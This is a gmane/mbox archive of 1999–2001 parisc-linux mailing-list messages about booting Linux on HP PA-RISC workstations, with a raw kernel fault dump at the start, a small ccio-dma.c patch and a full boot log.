c3e0 40200000 00000000 40200000 00000000 41800000 7fffffff 40000000 00000000
c400 40000000 00000000 40800000 00000000 41000000 00000000 00000000 00000000
c420 c7f9c800 c0105cf4 00000000 00000000 00000000 00000000 00000000 00000000
c440 c011a84c c011a850 40800000 00000000 00279000 00000000 c0278040 c0278064
c460 00000000 c0278204 00000000 00000000 00000000 c7f9c470 00000000 00000000
c480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c4a0 cf7928b3 9ef25167 3de4a2cf 7bbff0cc f70954ca ee12a995 dc25532b b84aa657
c4c0 70954caf e15c2c0c c2b85819 8570b033 0ae16067 15b4759c 2b1e5e6a 564a0986
c4e0 ace2a65e 59c54cbd b3fc2c28 c0105c48 cf8605f0 9f0c0be1 3e1817c3 7c469ad4
c500 c02ac000 00000000 c02ac640 c7dc07d7 8fb80faf 1f701f5f 3e968bec 7d5ba28a
c520 fac1f046 f583e08d eb07c11b c01002b4 ac1f046f 583e08df b00aa4ec 601549d9
c540 c05c26e0 80b84dc1 01709b83 02978254 c7f9c000 c027860c c02ac000 00000000
c560 c02ac640 aea9ca4e 5d53949d bad19c68 75a338d1 eb30c4f0 d66189e1 acc313c3
c580 59862787 b37afa5c 66f5f4b9 cd9d5c20 9b3ab841 36757083 6c9c5454 d94e1dfa
c5a0 b29c3bf5 653877eb ca065a84 c028d128 28196a13 50446174 a0fe77ba 41fcef75
c5c0 c027c000 00000001 0e4b1bb0 1ce08232 00000060 ffffffff 00000021 c0252c78
c5e0 99146cbb 3228d977 642707bc c028d06c 90717455 20e2e8ab 41b36404 83107d5a
c600 f00000a4 f00000ac f00010f4 00000000 00000001 0000004d 00000000 000000c5
c620 c028d8e0 000000f0 c02c7800 c02ca000 c025e000 c02c6000 c02a8af4 c02a8ab4
c640 c02a8af4 c02a8ab0 00000000 00000000 0000004d 00000000 000000c5 c028d8e0
c660 000000f0 c02c7800 c02ca000 c0294b6c c02c6000 c02a8af4 c02a8a94 c02c6000
c680 c02c2c8c c02c2d48 c027f4d0 00000040 c02421d8 c0241dcc c0241e80 c02421dc
c6a0 00000000 00000000 c02ca000 c0294ec8 c02c6000 00010800 c7f9c608 c02734a0
c6c0 c02c2d48 c02c2c8c 00005000 c027c6d0 00000001 c7ffeea0 c0242000 c0242000
c6e0 fffffffc c02c2d48 c0191ab0 c0190558 c027c61c 10000080 c02c2c8c c02c2d48
c700 c027f4d0 00000040 c0241f38 c0281c94 c0242000 00000000 c02c2c8c c02c2c8c
c720 c02c6000 c02c1fc4 c01e3e7c c011ace4 c0281dc0 c0281c64 c7f9c900 00000000
c740 c02c7844 00000000 c027f5a0 c02c7840 00000000 0000003c 0000003e c0273000
c760 00000001 c02b2ba3 00000004 c0155604 00000054 c02b2ba3 0000000b c02734a0
c780 c7f97eec 00008124 f00000a4 000000ff ffd05800 ffd05800 ffd05800 00000060
c7a0 ffffffff ffd05800 002b2540 c0294dc8 00000000 00000000 c7f9c980 00000000
c7c0 000b0800 00000000 0000001f 00000000 0000001f 00000000 0000001f 00000000
c7e0 00000000 00000000 00000000 c018e784 00000000 00000000 00000000 00000000
c800 00000010 00000020 7f7fffff ffffffff 43ebebeb e0000000 00000000 00000000
c820 45e69c6a 25b7ea20 41800000 00000000 00000010 00000010 00000000 00000000
c840 0006000b c02b2580 c018e784 c02c2c88 00000013 0000002f c02c3a6c c027f5a0
c860 ffffffff c0273000 c0191ab0 c02c2d48 fffffffc c0242000 c0242000 c02d49e8
c880 c0242000 c0242000 c02c2ccc 00000000 c02c3a6c c02c7000 ffffffff 00000040
c8a0 00000093 00000002 00000000 c025e000 00002580 0000002f c7f9ca80 c0294d90
c8c0 000b0800 00000000 0000001f 00000000 0000001f 00000000 0000001f 00000000
c8e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c900 00000010 00000020 7f7fffff ffffffff 43ebebeb e0000000 00000000 00000000
c920 45e69c6a 25b7ea20 41800000 00000000 00000010 00000010 00000000 00000000
c940 00000040 00000080 00000100 00000200 00000400 00000800 7fffffff 7fffffff
c960 41000000 00000000 7fffffff 7fffffff 40800000 00000000 41000000 00000000
c980 40300000 00000000 40200000 00000000 40200000 00000000 41800000 7fffffff
c9a0 40000000 00000000 40000000 00000000 40800000 00000000 41000000 00000000
c9c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c9e0 00000000 00000000 c010c8fc c010c900 00000010 00000010 00000000 00000000
ca00 00000000 00000000 00000001 00000020 00000017 0e781096 00000000 0000000c
ca20 00000000 00000000 7fffffff c0103504 40800000 00000000 41000000 00000000
ca40 80000000 c02c7800 c7f9c740 00000020 00000000 00000000 41800000 7fffffff
ca60 40000000 00000000 40000000 c0106704 40800000 00000000 41000000 00000000

Data access rights fault in kernel: Code=26 regs=c7f9c840 (Addr=0000000c)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001011
r0-3     00000000 c02b2580 c018e784 c02c2c88
r4-7     00000013 0000002f c02c3a6c c027f5a0
r8-11    ffffffff c0273000 c0191ab0 c02c2d48
r12-15   fffffffc c0242000 c0242000 c02d49e8
r16-19   c0242000 c0242000 c02c2ccc 00000000
r20-23   c02c3a6c c02c7000 ffffffff 00000040
r24-27   00000093 00000002 00000000 c025e000
r28-31   00002580 0000002f c7f9ca80 c0294d90
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c010c8fc c010c900
 IIR: 0e781096    ISR: 00000000  IOR: 0000000c
ORIG_R28: 00000000








From - Thu Nov 08 21:15:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugo van der Kooij <Hugo.van.der.Kooij@caiw.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Ready to go!
Date: Sun, 30 May 1999 01:30:05 +0200 (CEST)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9905300129190.25944-100000@bastion.nl3155vj16.vanderkooij.org>
References: <19990529232152.I1410@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619529 10377 80.91.229.3 (22 Nov 2014 01:25:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: Hugo.van.der.Kooij@caiw.nl  Sat May 29 17:30:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA04366
	for <parisc-linux@puffin.external.hp.com>; Sat, 29 May 1999 17:30:19 -0600
Original-Received: (qmail 4004 invoked by uid 15267); 29 May 1999 23:29:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3993 invoked from network); 29 May 1999 23:29:47 -0000
Original-Received: from mailserv.caiw.nl (194.178.9.133)
  by mailserv2.iuinc.com with SMTP; 29 May 1999 23:29:47 -0000
Original-Received: (from root@localhost) by mailserv.caiw.nl (8.8.5/8.6.12) id BAA07192; Sun, 30 May 1999 01:30:53 +0200 (MET DST)
Original-Received: from k3nw287.dial.kabelfoon.nl(195.193.25.32), claiming to be "bastion.nl3155vj16.vanderkooij.org"
 via SMTP by mailserv.caiw.nl, id smtpdAAAa07173; Sun, 30 May 1999 01:30:50 +0200
Original-Received: from bastion.nl3155vj16.vanderkooij.org (bastion.nl3155vj16.vanderkooij.org [192.168.100.254])
	by bastion.nl3155vj16.vanderkooij.org (8.9.1a/8.9.1) with ESMTP id BAA03143;
	Sun, 30 May 1999 01:30:06 +0200
X-Sender: hvdkooij@bastion.nl3155vj16.vanderkooij.org
In-Reply-To: <19990529232152.I1410@mencheca.ch.genedata.com>
X-URL: http://www.caiw.nl/~hvdkooij/
X-Loop: Hugo.van.der.Kooij@caiw.nl
Xref: news.gmane.org gmane.linux.ports.parisc:9189

Please guys. Don't send message to me if you send them to the list as
well. I find 1 copy quite enough.

Hugo.

-- 
Hugo van der Kooij; Oranje Nassaustraat 16; 3155 VJ  Maasland
hvdkooij@caiw.nl		 http://www.caiw.nl/~hvdkooij/
--------------------------------------------------------------
Use of any of my email addresses for unsollicited (commercial)
    email is a clear intrusion of my privacy and illegal!


From - Thu Nov 08 21:15:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] website
Date: Mon, 15 Jan 2001 11:33:28 -0800 (PST)
Lines: 30
Approved: news@gmane.org
Message-ID: <200101151933.LAA19576@opus.allegro.com>
References: <3A631530.29D686AD@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619529 10380 80.91.229.3 (22 Nov 2014 01:25:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:29 +0000 (UTC)
Cc: matthew@wil.cx (Matthew Wilcox), parisc-linux@thepuffingroup.com
To: jvinet@linuxcare.com (Jane Vinet)
Original-X-From: sieler@opus.allegro.com  Mon Jan 15 12:29:52 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA21360
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 12:29:51 -0700
Original-Received: (qmail 23520 invoked by uid 15267); 15 Jan 2001 19:33:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23509 invoked from network); 15 Jan 2001 19:33:31 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 19:33:31 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id LAA19576;
	Mon, 15 Jan 2001 11:33:28 -0800
In-Reply-To: <3A631530.29D686AD@linuxcare.com> from "Jane Vinet" at Jan 15, 2001 10:20:16 AM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:9190

Re:

> >  * The text is too small.
> >  * It uses too many tables.
> 
> I feel these are personal preferences - however, I will see what can be
> done about the font

The key, probably the most important thing in web page design, is to
*NOT* override the user's font defaults.  Web pages with font sizes, colors, &
styles are simply evil.  There are pages I can no longer read with Netscape,
because the @#$%^ web designer went out of their way to choose a small
font...and that's *real* small on a 1600x1200 display!  MSIE let's me 
go to Tools/Internet Options/Accessibility and say:

   ignore font colors on page
   ignore font size on page

...which is simply wonderful.

www.hp.com is an excellent example of how *NOT* to design a web page, sadly.

Remember, the three most important things to consider when
designing a web page are: content, content, and content.
Look / feel / wow isn't in the top three!
 
-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com        


From - Thu Nov 08 21:15:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aleksandr Konstantinov <sanjak@tipas.lt>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting C100
Date: Mon, 15 Jan 2001 22:30:09 +0100
Organization: T.I.P.A.S.
Lines: 35
Approved: news@gmane.org
Message-ID: <3A636BE1.EE2DBF87@tipas.lt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619529 10381 80.91.229.3 (22 Nov 2014 01:25:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sanjak@tipas.lt  Mon Jan 15 12:48:07 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA21790
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 12:48:06 -0700
Original-Received: (qmail 20013 invoked by uid 15267); 15 Jan 2001 19:51:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19923 invoked from network); 15 Jan 2001 19:51:45 -0000
Original-Received: from server.tipas.lt (193.219.1.212)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 19:51:45 -0000
Original-Received: from tipas.lt (i195.sintegra.lt [193.219.1.195]) by server.tipas.lt (8.6.11/cyxob-1.7) with ESMTP id VAA15785 for <parisc-linux@thepuffingroup.com>; Mon, 15 Jan 2001 21:49:07 -2200
X-Mailer: Mozilla 4.04 [en] (Win95; I)
Xref: news.gmane.org gmane.linux.ports.parisc:9191

> Anybody got one?

Yes. Want one ?

>> o HPUX is required to build a lifimage (XC and native builds work on
occasion)
>> o mongoose (HPUX) boot loader is an option (PALO required)
>> o Serial console required (can use STI now)

Can anybody explain me how to get console NOT on serial link ?

>> o mkp is working on superio ;^)


> I don't have an environment to build my own kernel image yet.
Obviously I
> can't do a native build.  And I've got almost a week of HP/UX
experience
> now.  :)  What does it take to build a kernel under HP/UX?  I'm
guessing
> GCC+Binutils+Make as a minimum.  What are my chances with the
> cross-compiler?

I used xc tools from palinux-0.5 on x86 linux (Slackware 3.6 + glibc).
Kernel was built satisfactory (despite a lot of warnings about
incompatible
argument types (as far as i remember)). Booting went ok.



A.K.





From - Thu Nov 08 21:15:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting C100
Date: Mon, 15 Jan 2001 12:57:35 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <3A63562E.2DA228AC@uswest.net>
References: <Pine.LNX.4.21.0101151256070.23322-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619530 10385 80.91.229.3 (22 Nov 2014 01:25:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:30 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: rbradetich@uswest.net  Mon Jan 15 13:21:33 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA22369
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 13:21:33 -0700
Original-Received: (qmail 9893 invoked by uid 15267); 15 Jan 2001 20:25:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9878 invoked from network); 15 Jan 2001 20:25:08 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 20:25:08 -0000
Original-Received: (qmail 96761 invoked by alias); 15 Jan 2001 19:58:43 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 94250 invoked by uid 0); 15 Jan 2001 19:57:35 -0000
Original-Received: from lametoby.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 15 Jan 2001 19:57:35 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9192

Greg,

The ccio detection via GSC port is really a hack.   I will commit your patch
since we do not have a better way to detect the driver atm :)  Hopefully my
local tree will shape up today, and I can commit a new and improved ccio
driver.  Than I will start working on the I/O tree to eliminate this hack.

Thanks for the patch!

- Ryan



Greg Ingram wrote:

> Okay, I grabbed the cross-compiler and various sources and managed to
> build a booting image.  Woohoo!  I also tried the lifimage you just posted
> to the FTP site.  Both kernels died at GSC detection because it didn't
> know the address f5fbf000.  I made this little change to ccio-dma.c:
>
> --- arch/parisc/kernel/ccio-dma.c.orig  Mon Jan 15 12:40:05 2001
> +++ arch/parisc/kernel/ccio-dma.c       Mon Jan 15 13:05:01 2001
> @@ -1174,6 +1174,7 @@
>  ** that can't be detected by PA/EISA/PCI bus walks.
>  */
>         switch((long) d->hpa) {
> +       case 0xf5fbf000L:       /* C1O0 (wild guess!) */
>         case 0xf7fbf000L:       /* C110 IOA0 LBC (aka GSC port) */
>         case 0xf3fbf000L:       /* C110 IOA0 LBC (aka GSC port) */
>                 /* ccio_hpa same as C200 IOA0 */
>
> It got past that point but crashed later.  Full boot log follows. I'm
> looking at excluding the GSC stuff to see if the problem goes
> away.  Updates at 11.
>
> - Greg
>

[bootlog snipped]



From - Thu Nov 08 21:15:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Chris Moore" <cmoore@cancun.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] More 735 boot woes
Date: Mon, 15 Jan 2001 13:28:33 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <1010115132833.ZM29048@cancun.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619530 10388 80.91.229.3 (22 Nov 2014 01:25:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: cmoore@cancun.rose.hp.com  Mon Jan 15 14:15:33 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA23003
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 14:15:32 -0700
Original-Received: (qmail 6320 invoked by uid 15267); 15 Jan 2001 21:19:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6300 invoked from network); 15 Jan 2001 21:19:12 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 21:19:12 -0000
Original-Received: from cancun.rose.hp.com (cancun.rose.hp.com [15.43.234.191])
	by palrel1.hp.com (Postfix) with ESMTP id 1B3D410D2
	for <parisc-linux@thepuffingroup.com>; Mon, 15 Jan 2001 13:19:11 -0800 (PST)
Original-Received: (from cmoore@localhost)
	by cancun.rose.hp.com (8.9.3 (PHNE_21697)/8.9.3 SMKit7.02) id NAA29050
	for parisc-linux@thepuffingroup.com; Mon, 15 Jan 2001 13:28:34 -0800 (PST)
X-Mailer: Z-Mail (5.0.0 30July97)
Xref: news.gmane.org gmane.linux.ports.parisc:9193

Hello again,

Thanks to the people who provided me with kernels (Phillip, and whoever
loaded a new one to the FTP site - Andrew?  Grant?).
I now have two fairly new kernels that both do the same thing - and
it's the same problem mentioned earlier this month by Aleksandr
Konstantinov.  I get as far as "parport_initialize_chip: initialize
bidirectional-mode".  Then I get an HPMC.

The isr.ior at the time of the HPMC indicates I'm at
parport_PS2_supported+0x64.
Also the register dump shows the HPA of the Outfield Core Centronics
interface in registers r6, r25, and r26.  I can't get much further
without (yet) being able to build kernels, but it looks like these kernels
don't like the Outfield Core Centronics.  I'd suspect that it was just
my system having bad hardware except that it sounds like at least one
other person has seen the same HPMC.

Has anyone else seen this problem on a 735?  Anyone have a fix?

Thanks,

Chris Moore


From - Thu Nov 08 21:15:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C100 Boots! (Mostly)
Date: Mon, 15 Jan 2001 16:11:19 -0600 (CST)
Lines: 157
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101151559150.23803-100000@maestro.symsys.com>
References: <1010115132833.ZM29048@cancun.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619530 10392 80.91.229.3 (22 Nov 2014 01:25:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ingram@symsys.com  Mon Jan 15 15:07:40 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA24455
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 15:07:40 -0700
Original-Received: (qmail 21860 invoked by uid 15267); 15 Jan 2001 22:11:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21812 invoked from network); 15 Jan 2001 22:11:19 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 22:11:19 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id QAA23836
	for <parisc-linux@thepuffingroup.com>; Mon, 15 Jan 2001 16:11:19 -0600
In-Reply-To: <1010115132833.ZM29048@cancun.rose.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9194


I tracked down the crash on my C100 to somewhere inside register_console()
called from serial_console_init().  I tried a kernel without serial
console support but that stopped generating output too early, so I tried
just removing the register_console call() and now I get past mounting the
root filesystem before losing console output.  A log follows.  The machine
accepts telnet connections but telnet session won't start.  I get:

	telnetd: getpty: permission denied

I'm hoping that's just something to do with how I installed the root
filesystem.  Maybe it hasn't been remounted as writable?  I'm so close to
a shell! 

- Greg

HARD Booted.
palo ipl root@ingram Mon Jan 15 12:24:52 CST 2001
0/vmlinux 1992709 bytes @ 0x6800
0/palo-cmdline 'vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=192.168.1.64'
Kernel: partition 0 file vmlinux
ELF32 executable

Entry 00100130 first 00100000 n 5
Segment 0 load 00100000 size 1342972 mediaptr 0x1000
Segment 1 load 00248000 size 171784 mediaptr 0x149000
Segment 2 load 00274000 size 87204 mediaptr 0x173000
Segment 3 load 0028c000 size 8192 mediaptr 0x189000
Segment 4 load 002b7084 size 496 mediaptr 0x18b084
branching to kernel entry point 0x00100130
Set default PSW W bit to 0
PDC Console Initialized
The 32-bit Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02b8000
start_parisc(0x504d70,0x504d70,0x0,0x0)
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=192.168.1.64'
PALO initrd 0-0
model   00005920 00000481 00000000 00000002 782482ee 100000f0 00000004 0000008a 0000008a
vers    0000000d
cpuid   0000016d
CPUID   vers 11 rev 13
model   9000/777/C100
led_init: CPU_HVERSION 592
led_init: chassis info: model 2, lcd_width=0, cmd_delay=40, ret0=8, ret1=8
LED display at f0190000 registered
Searching for devices in PDC firmware... processor hpa 0xfffa0000
a newer box...
Found devices:
1. Coral SGC Graphics (10) at 0xf6000000, versions 0x4, 0x0, 0x77, 0x0, 0x0
2. SkyHawk 100/120 FW-SCSI (4) at 0xf5f8c000, versions 0x1f, 0x0, 0x89, 0x0, 0x80
3. U2-IOA BC GSC+ Port (7) at 0xf5fbf000, versions 0x501, 0x1, 0xc, 0x0, 0x0
4. Raven T' Core BA (11) at 0xffd00000, versions 0x32, 0x0, 0x81, 0x0, 0x0
5. Raven T' Lasi Core RS-232 (10) at 0xffd05000, versions 0x32, 0x0, 0x8c, 0x0, 0x0
6. Raven T' Core SCSI (10) at 0xffd06000, versions 0x32, 0x0, 0x82, 0x0, 0x0
7. Raven T' Core LAN (802.3) (10) at 0xffd07000, versions 0x32, 0x0, 0x8a, 0x0, 0x0
8. Raven T' Core Centronics (10) at 0xffd02000, versions 0x32, 0x0, 0x74, 0x0, 0x0
9. Raven T' Core PC Floppy (10) at 0xffd0a000, versions 0x32, 0x0, 0x83, 0x0, 0x0
10. Raven T' Audio (10) at 0xffd04000, versions 0x32, 0x0, 0x7b, 0x0, 0x0
11. Raven T' Core PC Keyboard (10) at 0xffd08000, versions 0x32, 0x0, 0x84, 0x0, 0x0
12. Raven T' Core PC Keyboard (10) at 0xffd08100, versions 0x32, 0x0, 0x84, 0x0, 0x0
13. Raven T' Wax BA (11) at 0xffe00000, versions 0x1e, 0x0, 0x8e, 0x0, 0x0
14. Raven T' Wax EISA BA (11) at 0xfc000000, versions 0x1e, 0x0, 0x90, 0x0, 0x0
15. Raven T' Wax RS-232 (10) at 0xffe02000, versions 0x1e, 0x0, 0x8c, 0x0, 0x80
16. Raven T' Wax HIL (10) at 0xffe01000, versions 0x1e, 0x0, 0x73, 0x0, 0x0
That's a total of 16 devices.
No CPUs reported by firmware - probing...
Found CPU at fffa0000
CPU(s): 1 x PA7200 (PCX-T') at 100.000000 MHz
Linux version 2.4.0-test10 (root@ingram) (gcc version 2.96 20000925 (experimental)) #25 Mon Jan 15 15:52:44 CST 2001
free_bootmem(0x2b9000, 0x7d47000)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 32768
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=192.168.1.64
trap_init
Calibrating delay loop... 99.74 BogoMIPS
Memory: 125968k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xffd00000 found.
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
Found i82596 at 0xffd07000, IRQ 87
early initialization of device eth0 is deferred
Initializing Lasi PS/2-keyboard port at 0xffd08000...
Support for Lasi PS/2-psaux not yet available !
ccio found U2 GSC+ BC at 0xf5fbf000
superio: Probe
Could not find Superio IDE !
Could not find Superio USB!
Bah!
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
Lasi PS/2 transmit buffer timeout
Lasi PS/2 transmit buffer timeout
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
eth0: 82596 at 0xffd07000, 08 00 09 E8 83 2B IRQ 87.
82596.c $Revision: 1.14 $
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
SCSI subsystem driver Revision: 1.00
sim700: Configuring 53c710 (SCSI-ID 7) at ffd06100, IRQ 86
scsi0: Revision 0x2
Post test1, istat 01, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: Good, target data areas are dma coherent
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: SEAGATE   Model: ST11200N SUN1.05  Rev: 8358
  Type:   Direct-Access                      ANSI SCSI revision: 02
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 35
ncr53c8xx: 53c720 detected
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
ncr53c720-0: restart (scsi reset).
scsi1 : ncr53c8xx - version 3.3b
  Vendor: SEAGATE   Model: ST32430W          Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 02
ncr53c720-0-<6,0>: tagged command queue depth set to 8
Detected scsi disk sda at scsi0, channel 0, id 0, lun 0
Detected scsi disk sdb at scsi1, channel 0, id 6, lun 0
SCSI device sda: 2059140 512-byte hdwr sectors (1054 MB)
Partition check:
 sda: sda1
ncr53c720-0-<6,0>: wide msgout: 1-2-3-1.
ncr53c720-0-<6,0>: wide msgin: 1-2-3-1.
ncr53c720-0-<6,0>: wide: wide=1 chg=0.
ncr53c720-0-<6,0>: sync_msgout: 1-3-1-19-8.
ncr53c720-0-<6,0>: sync msgin: 1-3-1-19-8.
ncr53c720-0-<6,0>: sync: per=25 scntl3=0x10 ofs=8 fak=0 chg=0.
ncr53c720-0-<6,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdb: 4194685 512-byte hdwr sectors (2148 MB)
 sdb: unknown partition table
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 1024 buckets, 8Kbytes
TCP: Hash tables configured (established 8192 bind 8192)
eth0: link ok.
Sending BOOTP requests..... OK
IP-Config: Got BOOTP answer from 192.168.1.64, my address is 192.168.1.76
